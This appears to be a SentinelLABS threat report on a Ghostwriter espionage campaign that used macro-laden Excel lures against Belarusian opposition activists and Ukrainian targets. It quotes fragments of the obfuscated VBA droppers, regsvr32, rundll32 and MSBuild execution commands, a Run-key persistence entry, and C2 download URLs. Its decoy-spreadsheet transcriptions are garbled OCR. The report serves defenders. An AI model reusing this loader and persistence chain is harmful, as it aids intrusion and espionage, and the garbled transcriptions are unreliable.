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Executive Summary

e SentinelLABS has observed a campaign targeting opposition activists in Belarus as well as Ukrainian
military and government organizations.

e The campaign has been in preparation since July-August 2024 and entered the active phase in November-
December 2024.

e Recent malware samples and command-and-control (C2) infrastructure activity indicate that the operation
remains active in recent days.

o SentinelLABS assesses that this cluster of threat activity is an extension of the long-running Ghostwriter

campaign identified in previous public reporting.

Ghostwriter | Background

Ghostwriter is a long-running campaign likely active since 2016 and subsequently described in various public
reports throughout 2020 to 2024. The actor behind Ghostwriter campaigns is closely linked with Belarusian

government espionage efforts, while most commonly reported under the APT names UNC1151 (Mandiant) or
UAC-0057 (CERT-UA). Some public reports may use the term “Ghostwriter APT” interchangeably to refer to

both the threat actor and its associated campaigns.

Previous research on the evolution of Ghostwriter noted how it operated successfully across a range of platforms,

blending information manipulation with hacking to target a number of European countries. Reporting throughout

2022 to 2024 described activity in which malicious Excel documents were used to deliver PicassoLoader and

Cobalt Strike payloads. Observed document lures were themed around issues pertaining to the Ukraine military

and the likely targeting of the Ministry of Defense.

Sentinel LABS has observed new activity with multiple weaponized Excel documents containing lures pertaining
to the interests of the Ukraine government, the Ukraine military and domestic Belarusian opposition. While some
of the TTPs we have observed overlap with previous reporting, others are new, including adaptations of previously

observed payloads such as Picassol.oader.

Weaponized XLS 1 | “Political Prisoners in Minsk Courts”

Sentinel LABS analyzed an attack that started with a Google Drive shared document landing in the target’s inbox.
The email originated from an account using the name “Vladimir Nikiforech”

( vladimir.nikiforeach@gmaill.]com ). The email link pointed to a downloadable RAR archive, which according
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to the internal timestamps was created on 2025-01-14 00:47:54, containing a malicious Excel workbook
( ebb30fd99c2ebchae392c¢337df5876759e53730d ) with the file name nonutsakniouerHblie(no cynam

muHcka).xls (“Political prisoners (across courts of Minsk).xlIs”).

The title of the lure indicates an interesting shift in Ghostwriter targeting. Although attribution for the 2021
Ghostwriter campaign pointed to the Belarus state, this is the first time we have seen lures directly aimed at
Belarus government opposition. The timing of the attack could have been motivated by the presidential election
that took place shortly after on Jan 26, 2025.

The XLS document contains an obfuscated VBA macro which is activated when the document is opened and the

user allows Office macros to run.

Private Function gqtznymvtizjyte() As String
Dim lutkoojyjcyg As String

lutkoojyjcyg = ""

lutkoojyjcyg = ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcqgrvw(ddoxnuhjctegrvw (ddoxnuhjctegrvw (ddoxnuhjcte
lutkoojyjcyg = ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcqgrvw(ddoxnuhjctcqgrvw (ddoxnuhjctcgrvw (ddoxnuhjct
lutkoojyjcyg = ddoxnuhjctcqrvw (ddoxnuhjctcqrvw (ddoxnuhjctcqrvw (ddoxnuhjctcqrvw (ddoxnuhjctcqrvw (ddoxnuhjctegrvw (ddoxnuhjcte
lutkoojyjcyg = ddoxnuhjctcqrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctecgrvw (ddoxnuhjcte
lutkoojyjcyg = ddoxnuhjctcqrvw (ddoxnuhjctcqrvw (ddoxnuhjctcqrvw (ddoxnuhjctcqrvw(ddoxnuhjctcqrvw (ddoxnuhjctcqrvw (ddoxnuhjct
lutkoojyjcyg = ddoxnuhjctcqrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctegrvw (ddoxnuhjcte
lutkoojyjcyg = ddoxnuhjctcqrvw (ddoxnuhjctcgrvw (ddoxnuhjctegrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctegrvw (ddoxnuhjcte
lutkoojyjcyg = ddoxnuhjctcqrvw (ddoxnuhjctcqrvw (ddoxnuhjctcqrvw (ddoxnuhjctcqrvw (ddoxnuhjctcqrvw (ddoxnuhjcteqrvw (ddoxnuhjcte
lutkoojyjcyg = ddoxnuhjctcqrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctegrvw (ddoxnuhjcte
lutkoojyjcyg = ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjcte

lutkoojyjcyg = ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctcgrvw (ddoxnuhjctegrvw (ddoxnuhjcte
ggtznymvtizjyte = lutkoojyjcyg

End Function .

Private Function vbwkoxomophez() As String

Dim lutkoojyjcyg As String

lutkoojyjcyg = ""

lutkoojyjcyg = lutkoojyjcyg + idcxhwgzggjjphkneq()
lutkoojyjcyg = lutkoojyjcyg + bmxyeku()
lutkoojyjcyg = lutkoojyjcyg + jcotpmbgwrreu ()
lutkoojyjcyg = lutkoojyijcyg + aontnhvwawgupcrtowe ()
lutkoojyjcyg = lutkoojyjcyg + ekegawjhjnafpyg()
lutkoojyjcyg = lutkoojyjcyg + tzbwrjxegpm()

Obfuscated macro inside the XLS spreadsheet
On execution, the macro writes a file to %Temp%\Realtek(r)Audio.d1l .

The DLL file is loaded with the following command line invocation:

C:\Windows\System32\regsvr32.exe /u /s "C:\Temp\Realtek(r)Audio.d1l”

This starts the standard Windows process regsvr32.exe , which calls the DllUnregisterServer function

implemented inside the DLL; the function then loads and executes the .NET assembly described next.

Analysis of Dwnldr.dll shows that it is a DLL file with a .NET assembly embedded inside. The file is protected
with ConfuserEx — a publicly available tool that helps to obfuscate .NET programs and observed in previous

Ghostwriter campaigns.

The DLL file hosts a payload that appears to be a simplified variant of PicassoDownloader, a malware family also
linked to Ghostwriter activity. The internal filename ( Dwnldr.d1l ) was previously used by the Ghostwriter threat
actor; however, this variant bears only high-level similarities to previous versions, with significant changes to the

underlying code, possibly to make it a cheaper and more expendable tool.

As a part of application protection provided by the obfuscator, the Downloader creates a copy of itself in memory,

and then modifies it. It does so by decrypting additional code of the assembly. It also uses a clever evasion
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technique, altering its own PE header in memory and breaking internal links to the .NET assembly. This makes it

impossible for security products to parse it as a .NET module.

During code execution, after the protection layer passes control to core functionality, the Downloader writes a
decoy Excel workbook file to %AppData%\Roaming\Microsoft\temp.xlsx and downloads additional file(s) from

the Web.

The temp.xlsx decoy file ( 18151b3801bd716b5a33cfc85dbdc4ba84a00314 ) is immediately opened in Excel in an
attempt to make the victim believe that it contains the original content of the nonwT3aknioueHHbie (no cynam

MuHcka) . xls file.

A B C D E F
1 Uma u damunua Npea Py cypa Bug Cyabna MNpokypop Mecro 3i
cT1. 369 YronosHoro
Koaekca — Ockopbnenue

Nvwenue ceoboapl B

4 " npeACTaBUTENA BNAcTH =
Tpoukui Bacunuit 1roa 1 2 MecAua KO/NOHWH B YCNOBMAX | AHAPYWEHKO AHApe#H ApoWwHNKOBa ocBobo
€T. 391 YronoBHOro Koaekca obuero pexuma

— Ockopbnenue cyasu

CcT. 342 YronosHoro

Kogekca — OpraHusauma u orpaHuyeHue csoboas
NOArOTOBKA AEACTBUN, C HanpasieHuem 8
=& = Apowmk,
Cusak Esrenmin rpy6o Hapywaiowumx 2rona ucnpasutensHoe Mapyuek Cepreii & .
5 NbILEBCKMIA
06LLeCTBEHHbINA NOPAAOK, Y4YpemaeHNe OTKPLITOro
nmbo akTMBHOE yyacTue B ana ("xumua")

w

HUX

cT. 342 YronosHoro
Kogekca — OpraHusauma u
NOATOTOBKA AEACTBUIA,
rpy6o Hapywaioumx

= orpaHuuenme csoboap!
06LIeCTBEHHbIA NOPAAOK,

fe3 HANDARNEHUA R

Sheet1

Decoy document containing lists of people with criminal charges, prosecutors’ and judges’ names

The spreadsheet contains the names of people with criminal charges along with the names of prosecutors and
judges: content that invites the reader to believe it could be leaked from a government source. However, the
information was already in the public domain and can be found on the website of a proscribed Belarusian human

rights organization, Spring96.

Once the decoy Excel file is opened, the Downloader attempts to fetch the next stage from the following URL:

https://everythingandthedogl . ]shop/petsblog/2020/2/25/tips-for-taking-difficult-dogs-on-a-walk.jpg
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The JPG image file fetched from the C2
We note that the .shop top level domain was also reported in other Ghostwriter activity seen in 2024.

When the malware issues the HTTP request, it uses a hardcoded User-Agent string:

Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/555.36 (KHTML, like Gecko) Chrome/97.0.4
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The fetched file ( 8d2bb96e69df059f279d97989690ce3e556a8318 ) is a benign JPEG file, originating from publicly
available photo stock, with no extra payload or any hidden cave where code could be embedded. We confirmed
that an identical file can be found online, located on a web site that is nearly identical to the one used by attackers.
It would seem the attackers not only reused the JPG file contents from a legitimate website but also copied its

original URL, changing only the top level domain:

https://www.everythingandthedog.com/petsblog/2020/2/25/tips-for-taking-difficult-dogs-on-a-walk.

Once the file is downloaded, it is renamed and then saved to
%APPDATA%\Roaming\Microsoft\SystemCertificates\CertificateCenter.dll .

Later, it is registered to load during autostart by leveraging the Registry Run key:

HKCU\System\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Certificate Center

with its value pointing to expanded environment variable string:

rund1132.exe C:\Users\\AppData\Roaming\Microsoft\SystemCertificates\CertificateCenter.dll,#1

This Registry entry makes rundl132.exe load the DLL and execute its exported function with ordinal 1

whenever a user logs on.

STAGE 1 extracts v
Dropper XLS r———— %Temp9%|Realtek(r)Audio.dll
1
NONUT3aKNKIYEHHbIE !
(no cynam muHcka).xls '
-« : STAGE 2
regsvr32.exe /u /s registers for autostart
% Temp%|Realtek(r)Audio.dll e
runs
|
extracts, opens with Excel ! downloads
I_' _________________________________ |
1
U J
Decoy XLSX %APPDATA% |Roaming|Microsoft|
%AppData% |Roaming|\Microsoft|temp.xIsx SystemCertificates|CertificateCenter.dll
STAGE 3
DLL

rundli32.exe %APPDATA% |Roaming|Microsoft|
SystemCertificates|CertificateCenter.dll, #1

Sentinel LABS

Overview of the malware stages for Weaponized XLS 1

During our analysis we only observed the benign JPG file being downloaded. However, based on the code
analysis, we believe that the real targets receive an actual DLL. We assume that such a targeted payload delivery
process is carefully controlled by the attackers and that they deliver the payload only after confirming the

requesting client’s profile (browser user agent, IP address of the client, and matching time of the operation
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window). Research in a previous campaign found that a Cobalt Strike payload was delivered to targets only if the

host IP was located in Ukraine.

Given the timing and targeting of the attack, we hypothesized that it may not have been an isolated incident.
Further research led us to discover other samples closely resembling Weaponized XLS 1, suggesting that multiple

attacks using the same techniques had been planned or executed. The samples used in these suspected attacks are

described below.

Weaponized XLS 2 | Ukraine Gov “Anti-Corruption Initiative”

A file bearing the Ukrainian name Zrazok.xls (“Sample.xls”)is an XLS file
( 301ffdf@c7b67e01fd2119c321e7ae@9b7835afc ) with an obfuscated VBA macro embedded. However, the script

code and obfuscation technique are different from the case we discussed earlier.

For this script, the attackers used a popular obfuscator tool called Macropack, an open-source but seemingly

abandoned project originally developed for red-teaming and penetration testing exercises.

eLbXeéS) = IUOXSKSO£"466F72746957462e657565ﬂ
M7WbDjVZ1qgT = False
Set XVFplHLgFY = CreateObject (100x8k50("5762656D536372697074696E672E535762656D4C6F6361746F72"))
Set mRW2I34eN3fJOM = XVFplHLgFY.CONnEctSERveR (fLPKTmSEhRpv, 100x8k50("726F6F745C43494D5632"))
For ceQ3dSn = LBound(eLpXe) To UBound (eLpXe)
Set OLOyeNifGsor5 = mRW2I34eN3fJOM.EXECQUERY (100xB8k50 ("53656C656374204e616D652046524£4d2057696e33325F50726F636573732077681
If OLOyeNifGsor5.ESRe = 1 Then
M7WbDjvzlgT = True

End If
Next ceQ3dS5n

XpMUfm3vL7idTXwh = MTWbDiVZ1gT

End Function

Sub NJ93675x (fSKApE6)
Dim HYpu9Dc2 As String
Dim EgJR6Jh2salSkE As String
HYpu9Dc2 = 100x8k50("433A5c57696E646F77735¢c53797374656D33325c72756E646Cc6C33322E657865")
EgJR6Jh2s5al9kE = 100x8k50("20") + Chr(34) + fSKAp66 + Chr(34) + 100x8k50("2C48656Cc6c6F576£726C64")
Call Shell (HYpuSDc2 & EgJR6Jh2salSkE, VSkMw)

End Sub

Macropack-obfuscated VBA macro found inside the spreadsheet

As in the previous case, once the macro code is executed, the .NET ConfuserEx-obfuscated Downloader DLL
(written to %AppData%\Roaming\Microsoft\bruhd1132.d11l ) is loaded with rund1132.exe and respective

commandline arguments to run an exported function. After this, the new module drops a decoy XLS file and opens
it with Excel.
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1 |
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8 Ha 20 pix
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10
Ne Hasea Crpox Binnosizaaesi 3a OuikyBamHEH Pe3yabTaT BigmiTka mpo
11 3/m 3axony (i TOp ) BHROHAHHS
12 L. Opranizanifiai 3axoxm, y T. 9. 3 ONiEKE KOPYNNINHNX PH3EKIB Ta NIrOTOBKH AHTHKOpYNUiiHOI NporpamMn
3abesneuenns podorm Kowmicil 3
OWIHKH KOPYNUIHHHX PH3HKIB Ta CamocTiliHuiT
MOHITO] AHTHEKO] 1iTHOI c HEH s
peny e SR JoxymenTH, HeoOXLAHI 114
OporpaMH 3 METOK: ILIAHYBAHHA MiApO3ALT = -
i Syl K . TIPOTATOM POKY . . 3abesnedeHHA PoGOTH
OpraHi3alifHO-MIATOTOBYHX 3aXOiB, BIANOBLIATEHOTO s
: e 3 R Kowmicii. ckraneno
inenTHiKkari Ta OIIHKH cyb'exta
KODYNIIHHHX PpH3HKIB, CKIaJaHHA (mocagosa ocoda)
13 3BITY 32 Pe3yIbTATAMH TAKOi OLIHKH
Buaaro posmopammit
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mporpaMH opraHiamii (3MiH o Hei) AHTHKOPYILIIHOI IPOrpaMu
2 TojaHHA i HA TOrOMKEHHA 10| 1o (3miH 10 mei). TTporpama
HarmioHansHoro areHICTBa 3 MHTAHB (mteno, Micaus) (3MiHH 10 HET) HAlIPaBIeHO
samobiranss  Kopymmii  (zam - HA TOTO/DKEHHA 10
HauionazbHe areHTCTBO) HauioHabHOro areHICTBa
CBOE€YACHO
114
Mnan pobotn ]

The decoy document prepared for a Ukrainian reader (an action plan for anti-corruption initiative in

government organisations in Ukraine)

This module attempts to download the next stage from the following URL (unavailable at the time of writing):

https://sciencealert[.]shop/images/2024/11/black-hole-coronaxx.jpg

When the malware issues the HTTP request it uses a hardcoded User-Agent string that differs slightly from the

previous case:

Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4

Notably, this file ( 52e894acf0e14d2718997d2174c1f40d6d87bba9 ) was previously uploaded to VirusTotal on
December 19, 2024.
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Image file fetched from the malicious URL

As with the previous case, the image file and its URL path appear to be copied from a public blog, published on
Nov 16, 2024

https:

Again, the file name and the path on the malicious server were nearly identical to the legitimate one, with the actor

changing only the top level domain from .com to .shop .

https://www.sciencealert.com/images/2024/11/black-hole-coronaxx.jpg

In this case, the downloaded file is expected to be an archive in a GZIP format. Once downloaded, the malware

decompresses it and saves it to the following location:

%APPDATA%\Roaming\Microsoft\SystemCertificates\CertificateCenter.dll

It also creates an additional text config file at:

%APPDATA%\Roaming\Microsoft\SystemCertificates\config

The config file contains the following data:

<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<AssemblyName>Certificate</AssemblyName>
<OutputPath>Bin\</OutputPath>
</PropertyGroup>
<ItemGroup>
<Compile Include="CertificateCenter.d1l1" />
</ItemGroup>
<Target Name="Build">

Page 8 of 14



https://www.sentinelone.com /labs/ghostwriter-new-cam paign-targets-ukrainian-government-and-belarusian-opposition/

<MakeDir Directories="$(OutputPath)" Condition="!Exists('$(OutputPath)"')" />
<Csc Sources="@(Compile)" OutputAssembly="$(OutputPath)$(AssemblyName).exe" />
</Target>
</Project>

The config file is used by the Downloader to execute MSBuild.exe , instructing it to build a new application:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe %AppData%\Roaming\Microsoft\SystemCertifici

This suggests that the CertificateCenter.dll file is not a binary as the file extension would suggest but rather

contains program source code. The command, if successful, produces an executable file in the following location:

%AppData%\Roaming\Microsoft\SystemCertificates\Bin\Certificate.exe

and likely contains the next stage of the infection chain.

Obfuscated VBA

runs

runs

Decoy XLS

extracts, opens with Excel downloads, GZIP-decompresses

----------------- Nl il e |
| extracts

Decoy XLSX

%AppData%|Roaming|
Microsoft|temp.xIsx

Sentinel LABS

Overview of the malware stages for Weaponized XLS 2

Weaponized XLS 3 | “Supplies for Ukraine Armed Forces”

A file bearing the Ukrainian name [JoHeceHHA 5 peu - 3pasok.xls (“Report 5 items — sample.xls”) is an XLS
file ( 9d110879d101bcaec7accc3001295a53dc33371f ) hosting another VBA payload obfuscated with Macropack.
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As in the previous cases, once the macro code is executed, the .NET ConfuserEx-obfuscated Downloader DLL
(written to %AppData%\Roaming\Microsoft\bruhd1132.d11l ) is loaded with rund1132.exe and respective
commandline arguments to run an exported function. After this, the new module drops a decoy XLS file on disk

and opens it with Excel.

A B cC D E F G H J K L M N (0] P QR | S T u v w
1 Dopua S/pes
2
3 3ATBEP/TKYIO
4 Komaraup BificbkoBOT HacTHHH A
-4)
6 202 P.
7
8 JOHECEHHA
9 PO HAaABHICTH Ta PyX MaTepialbHHX 3acobiB (oHIy 360piB
10 BifiCEKOBOT YACTHHE A 38 . Micamk 202__ poKy
"
Binnpasnero(suma
HaaBHICTb CTAHOM HA - HO) 3a BKa3iBKow | HasBHiCTb CTAaHOM HA " "
. iy Haniiimno : — 202 V TOMY 4HCTi 32 pO3MipaMH
| 202_p oprasy = 202_p
12 B sabecneverns
i MarepiansHi 32c00H -]
131y =4 = s = = = o= = =
2 = & = | & =| 5 = | % g
£E| o g 2 Z 2 g 2 g = z
15 s(g| & o = |l = (=2id| 2|4 i = =3
16 |1 2 3 4 & 6 7 8 9 10 | 11 |12 | 13 14 15 16 17 |18 | 19 |20 | 23 | 24
17 | 1 (Kamxet nonsosit T o 0 0 0
18 2 |Llanka suvosa wr. ] 0 0 0
19 | 3 |Kocmiom nombosiit niTiit K-T 0 0 0 0
” Kyprka BiTpOBONOro3axucHa = ° 0 0 °
20 | " |3umosa
5 ulmay BiTPOBONOrO3aXHCHi = ° 0 0 °
21 " |sumosi
22 | 6 |KyprkanomsoBa yTemiera mT 0 0 0 0

S5peu ]
The decoy document prepared for a Ukrainian reader (a report template for the Ukrainian armed

forces supplies)
Again, the malware uses the same payload retrieval technique and downloads a JPG file from yet another .shop
domain:

https:

The URL is unavailable at the time of writing, but data from VirusTotal indicates that the downloaded file is
identical to the black hole image described above in the Weaponized XLS 2 section. The malware logic is also

identical with Weaponized XLS 2.

Weaponized XLS 4 & 5 | Variations on a Theme

In addition to the previous findings, we discovered further related XLS files that were similarly weaponized. The

files [doHeceHHA 5 peuy doHA 360piB- 3pa3ok.xls (“Report 5 items collection fund- sample.xls”;
2c06c01f9261fe80b627695a0ed746aa8f1f3744 ) and [donaTtok 8 peu HoBuii.xls (“Addition 8 items new —

sample.xls”; 853da593d2a489c2bd72a284a362d7c68c3add4c ) were first uploaded from Ukraine in Feb 2025.

Both files contain a Macropack-obfuscated VBA macro; however, they differ in structure. Functionally, both drop

a DLL to the previously noted path %AppData%\Roaming\Microsoft\bruhd1132.d11 .
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Again, the DLL is loaded with rund1132.exe and respective command line arguments to execute an exported

function. Next, the victim sees a decoy workbook open in Excel.
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Dopma 8/peu
3ATBEPIKYIO
Komanaup BiiicbkoBoi yacTuHE A

(BificbKOBe 3BaHHA, MiAMHC, iRiliAMH, MPi3BHIY

JOHECEHHSA
Tpo moTpedy Ta HAABHICTH OKPEMHX ITPEIMETIB PEYOBOTO MaifHa
BIiiCHKOBOI YACTHHH A
a___ 202 poxy

Iosicaenns moao OOPAIRY 3ANOBHEHHS TO0HECEHHHA

3a3sHaucHe JOHECCHHA CKIAZAETHCA MIOMICAIHO. cTaHOM Ha (1. umcio B Tppox npuMipHukax. Hanaetses 10 pedoBoi coryx0m
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I'p.9 (3nano Ta mepeaano MaifHo, Mo Oy10 B KOPHCTYBAHHI) BKA3YEThCA KUTBKICTh MaifHa, IO OY710 B KOPHCTYBAHHI, AKe Oy710 31aHO ab0 MmepeaaHo
BifichKOBOIO JACTHHOIO.
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The decoy documents prepared for a Ukrainian reader (a report template for the Ukrainian armed

forces supplies)

The decoys are similar and the obfuscation technique, code structure, and the embedded URL are common to
both:
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https:

The User-Agent string in the HTTP request, however, is different, with the operating system and architectures
specified as “Windows NT 10.0; Win64; x64”.

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'

These variants of the malware also contain another embedded .NET DLL, internally referred to as LibCMD from
the original filename LibCMD.d1l ( 4ae6b8adc980ba8a212b838f3caba9718d9a3757 ). This is a small file, whose

purpose is simply to start cmd.exe and connect to stdin/stdout.

The file contains a tampered PE link timestamp. It is never saved to disk; instead, it is loaded dynamically in

memory as a .NET assembly and executed.

Obfuscated VBA runs

Decoy XLS LibCMD.dlII

extracts, opens with Excel

_________________ T Sl o i
| extracts |

Decoy XLSX

%AppData%|Roaming|
Microsoft|temp.xIsx

Sentinel LABS

Overview of the malware stages for Weaponized XLS 4 & 5
Attribution

Analysis of techniques used by threat actors can often be helpful in establishing the origin of the attack and the
malware it uses. In this case, the obfuscation techniques are quite specific across all the samples we analyzed,
allowing us to establish a medium confidence link between them and a malware cluster known as PicassoL.oader,

a downloader toolkit.
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PicassoLoader has been used in cyber attacks targeting government, military, and civilian entities in Ukraine and
Poland and is exclusively associated with the Ghostwriter threat actor (aka UNC1151, UAC-0057, Blue Dev 4,
Moonscape, TA445).

Throughout 2024, Ghostwriter has repeatedly used a combination of Excel workbooks containing Macropack-
obfuscated VBA macros and dropped embedded .NET downloaders obfuscated with ConfuserEx. In our case, the

Downloader malware appears to be a simplified implementation of the PicassoLoader.

Conclusion

The Ghostwriter threat actor has been consistently active in the past years and continues its attempts to
compromise targets aligned with the interests of Belarus and its closest ally, Russia. It has mounted multiple

attacks reported by CERT UA and other security researchers throughout 2024.

While Belarus doesn’t actively participate in military campaigns in the war in Ukraine, cyber threat actors
associated with it appear to have no reservation about conducting cyberespionage operations against Ukrainian

targets.

The campaign described in this publication also serves as confirmation that Ghostwriter is closely tied with the
interests of the Belarusian government waging an aggressive pursuit of its opposition and organizations associated

with it.

We would like to express our thanks to partners in the region, including RESIDENT.NGO and others who remain

unnamed, for their invaluable collaboration.

Organizations that believe they may have been targeted by threat actors involved in this campaign are invited to

reach out to the SentinelLABS team via ThreatTips@sentinelone.com.

Indicators of Compromise

Weaponized Excel Workbooks and Decoys

SHA-1 File Name
18151b3801bd716b5a33cfc85dbdc4ba84a00314 temp.xlsx
2c06c01f9261fe80b627695a0ed746aa8f1f3744 Honecenns 5 peu (oHz 360piB- 3pa3ok.xls
301£fdf0c7b67e01fd2119c321e7ae09b7835afc Zrazok.xls
853da593d2a489c2bd72a284a362d7c68c3add4c [Hopatok 8 peu HOBUA. XIS
9d110879d101bcaec7accc3001295a53dc33371f [oHeceHHs 5 ped — 3pa3ok.xls
ebb30fd99c2e6cbae392c337df5876759e53730d TIOJTUT3aK/TFOUeHHBIe (TT0 CyjaM MHUHCKa).X1s
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Downloaders
18bcc91ad3eed529d44926f4ae65acf44480f39d
64fca582cb69d9dc2afb1b432df58fb32ac18cal
7261ad5d4e760aa88df94b734bc44598a090852a
9fa00ad4ee4e95bc50a3919d2d3c0be2a567d8845
e5ebc7decalff1f0a4b1462d37ef813dad8413a6

LibCMD helper file
4ae6b8adc980baB8a212b838f3ca6a9718d9a3757

C2 Domains
americandeliriumsociety[.]shop
cookingwithbooks|.]shop
everythingandthedog[.]shop
pigglywigglystores[.]shop
sciencealert[.]shop

Source: https://www.sentinelone.com/labs/ghostwriter-new-campaign-targets-ukrainian-government-and-belarusian-opposition/
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